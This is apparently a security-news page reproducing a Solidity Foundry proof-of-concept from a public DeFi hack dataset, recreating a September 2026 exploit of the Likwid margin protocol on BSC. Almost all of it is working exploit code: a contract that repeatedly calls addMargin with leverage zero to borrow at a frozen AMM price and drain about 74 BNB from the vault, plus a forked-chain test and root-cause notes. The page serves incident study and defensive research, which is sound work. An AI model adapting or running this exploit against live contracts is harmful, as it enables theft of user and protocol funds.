Skip to content
THREATWIRE

Public reproduction file

src/test/2026-09/Likwid_exp.sol

Public reproduction file for dataset entry Likwid.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-09/Likwid_exp.sol176 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.16;
3
4import "../basetest.sol";
5import {IERC20} from "forge-std/interfaces/IERC20.sol";
6
7// Likwid (LikwidMarginPosition) oracle/accounting exploit - BSC, 2026-09-18.
8//
9// Loss: 74.31 BNB drained from LikwidVault.
10//
11// On-chain references (BSC):
12// attack tx : 0x83cbd07d59aedc2f114c351c568d3386ff5bc7caa87d12bc6494e2dc7bf16f4d
13// block : 122525331 (fork at parent 122525330)
14// attacker EOA : 0x90bde1e0Bb16B3DEEb9d638aCf8D01F19fD2F31e
15// attacker contract: 0xC63FB27F52ed8d06673c60c3075B2D3bD26Cf4AA (pre-held 218.58M TOKEN)
16//
17// Actors / contracts:
18// LikwidMarginPosition (vulnerable) : 0x6bec0c1dc4898484b7f094566ddf8bc82ed7abe8
19// LikwidVault (victim, holds BNB) : 0x065d449ec9D139740343990B7E1CF05fA830e4Ba
20// TOKEN (currency1, "Likwid", proxy): 0x0f12d5048a6bed7ECc572fa7805D03Af7B5FB9d2
21// pool: currency0 = BNB (address(0)), currency1 = TOKEN, fee 3000, marginFee 2500
22//
23// ROOT CAUSE (confirmed against the deployed verified source, contract "LikwidMarginPosition"):
24// _margin() routes leverage==0 to _executeAddCollateralAndBorrow(). That function sets
25// delta.lendDelta, delta.mirrorDelta and delta.marginDelta but NEVER sets delta.pairDelta
26// (compare _executeAddLeverage, which sets `delta.pairDelta = toBalanceDelta(...)`). pairDelta
27// is the only field that feeds back into the AMM pairReserves through the unlock callback, so a
28// leverage==0 borrow leaves pairReserves untouched. The very first line of the same function,
29// SwapMath.getAmountOut(poolState.pairReserves, ...), therefore returns the exact same quote on
30// every call because the reserves it reads never move. The attacker repeated addMargin(...) with
31// marginForOne=true, leverage=0, borrowAmount=type(uint256).max, settling 211.8M TOKEN at the
32// first-trade marginal price with zero AMM price impact.
33//
34// addMargin is `external payable` with no admin/signer gate. _margin -> _requireAuth only checks
35// the caller owns the position NFT it just minted for itself, so the path is fully unprivileged.
36//
37// Verified from the attack tx trace: 24 successful addMargin calls. The first 15 each borrowed an
38// identical 4.787036565860255800 BNB (the static-reserve quote - the bug), then the borrow tapers
39// only because borrowMaxAmount is also capped at 20% of the shrinking realReserves, never because
40// the marginal price moved. Total: 211,832,397.21 TOKEN in, 74.310377810 BNB out.
41//
42// This is one self-contained tx. The 218.58M TOKEN was pre-held by the attacker contract well
43// before the block (present since >=122525300), so it is genuine pre-state, not same-block setup;
44// the PoC funds its own exploit contract from that real pre-held balance and then runs the real
45// repeated addMargin cycle.
46//
47// Run (bsc alias in foundry.toml is binance.llamarpc.com, currently NXDOMAIN, and non-archival
48// anyway). Use an archival BSC endpoint without editing foundry.toml:
49// BSC_RPC=https://bsc-mainnet.public.blastapi.io \
50// forge test --contracts src/test/2026-09/Likwid_exp.sol -vvv
52interface ILikwidMarginPosition {
53 struct PoolKey {
54 address currency0;
55 address currency1;
56 uint24 fee;
57 uint24 marginFee;
58 }
60 struct CreateParams {
61 bool marginForOne;
62 uint24 leverage;
63 uint256 marginAmount;
64 uint256 borrowAmount;
65 uint256 borrowAmountMax;
66 address recipient;
67 uint256 deadline;
68 }
70 function addMargin(PoolKey calldata key, CreateParams calldata params)
71 external
72 payable
73 returns (uint256 tokenId, uint256 borrowAmount, uint256 swapFeeAmount);
76contract LikwidExploit {
77 ILikwidMarginPosition constant MP = ILikwidMarginPosition(0x6bec0c1dc4898484b7F094566ddf8bC82ED7Abe8);
78 IERC20 constant TOKEN = IERC20(0x0f12d5048a6bed7ECc572fa7805D03Af7B5FB9d2);
79 address constant BNB = address(0);
81 address immutable owner;
83 // Exact per-call marginAmounts of the 24 successful addMargin calls in the real tx, in order.
84 // 15x 13.66M TOKEN (each borrowing the identical 4.7857 BNB static quote), then tapering as the
85 // 20%-of-realReserves cap bites. Sum = 211,832,397.21 TOKEN.
86 function _margins() internal pure returns (uint256[24] memory m) {
87 uint256 a = 13661559550241944241919791;
88 for (uint256 i = 0; i < 15; i++) m[i] = a;
89 m[15] = 6830779775120972120959895;
90 m[16] = 53365466993132594694999;
91 m[17] = 13341366748283148673749;
92 m[18] = 6670683374141574336874;
93 m[19] = 3335341687070787168437;
94 m[20] = 833835421767696792109;
95 m[21] = 416917710883848396054;
96 m[22] = 208458855441924198027;
97 m[23] = 52114713860481049506;
98 }
100 constructor() {
101 owner = msg.sender;
102 }
104 function run() external {
105 // Approve the margin token to the position manager, which pulls it via safeTransferFrom.
106 TOKEN.approve(address(MP), type(uint256).max);
108 ILikwidMarginPosition.PoolKey memory key = ILikwidMarginPosition.PoolKey({
109 currency0: BNB,
110 currency1: address(TOKEN),
111 fee: 3000,
112 marginFee: 2500
113 });
115 uint256[24] memory margins = _margins();
116 for (uint256 i = 0; i < margins.length; i++) {
117 MP.addMargin(
118 key,
119 ILikwidMarginPosition.CreateParams({
120 marginForOne: true, // margin = currency1 (TOKEN), borrow currency0 (BNB)
121 leverage: 0, // the vulnerable leverage==0 branch
122 marginAmount: margins[i],
123 borrowAmount: type(uint256).max, // "borrow the maximum" -> contract sets it to the static quote
124 borrowAmountMax: 0,
125 recipient: address(this),
126 deadline: block.timestamp + 1000
127 })
128 );
129 }
131 // Forward the drained BNB to the caller (the test contract).
132 (bool ok,) = owner.call{value: address(this).balance}("");
133 require(ok, "sweep failed");
134 }
136 // LikwidVault.take() pays out BNB via a raw call to the recipient.
137 receive() external payable {}
140contract LikwidExp is BaseTestWithBalanceLog {
141 IERC20 constant TOKEN = IERC20(0x0f12d5048a6bed7ECc572fa7805D03Af7B5FB9d2);
142 address constant ATTACKER_CONTRACT = 0xC63FB27F52ed8d06673c60c3075B2D3bD26Cf4AA; // pre-held TOKEN
144 function setUp() public {
145 // bsc alias in foundry.toml (binance.llamarpc.com) is dead + non-archival; allow a
146 // BSC_RPC env override to an archival node without touching foundry.toml.
147 try vm.envString("BSC_RPC") returns (string memory url) {
148 vm.createSelectFork(url, 122_525_330);
149 } catch {
150 vm.createSelectFork("bsc", 122_525_330);
151 }
152 fundingToken = address(0); // measure profit in native BNB
153 }
155 /// forge-config: default.evm_version = "cancun"
156 function testExploit() public balanceLog {
157 LikwidExploit exploit = new LikwidExploit();
159 // Fund the exploit contract from the attacker's genuine pre-held TOKEN inventory
160 // (present in real pre-state at the fork block). No deal(), no minting.
161 uint256 preheld = TOKEN.balanceOf(ATTACKER_CONTRACT);
162 vm.prank(ATTACKER_CONTRACT);
163 TOKEN.transfer(address(exploit), preheld);
165 uint256 bnbBefore = address(this).balance;
166 exploit.run();
167 uint256 gained = address(this).balance - bnbBefore;
169 emit log_named_decimal_uint("BNB drained from LikwidVault", gained, 18);
171 // Reported loss ~74.31 BNB; real tx extracted 74.310377810 BNB across 24 addMargin calls.
172 assertApproxEqAbs(gained, 74.310377810e18, 0.01e18, "BNB gain != ~74.31");
173 }
175 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “Likwid” (2026-09-18). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/interfaces/IERC20.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • attacker

    0x90bde1e0bb16b3deeb9d638acf8d01f19fd2f31e

  • attacker

    0xc63fb27f52ed8d06673c60c3075b2d3bd26cf4aa

  • Attack Tx

    0x83cbd07d59aedc2f114c351c568d3386ff5bc7caa87d12bc6494e2dc7bf16f4d

File record

Name
Likwid
Path
src/test/2026-09/Likwid_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
66bed701c1ab40a9fb97fb76f8b3c5955ed6e600
Language
Solidity
Size
177 lines
Date
2026-09-18
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-09/Likwid_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 66bed701c1ab40a9fb97fb76f8b3c5955ed6e600, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.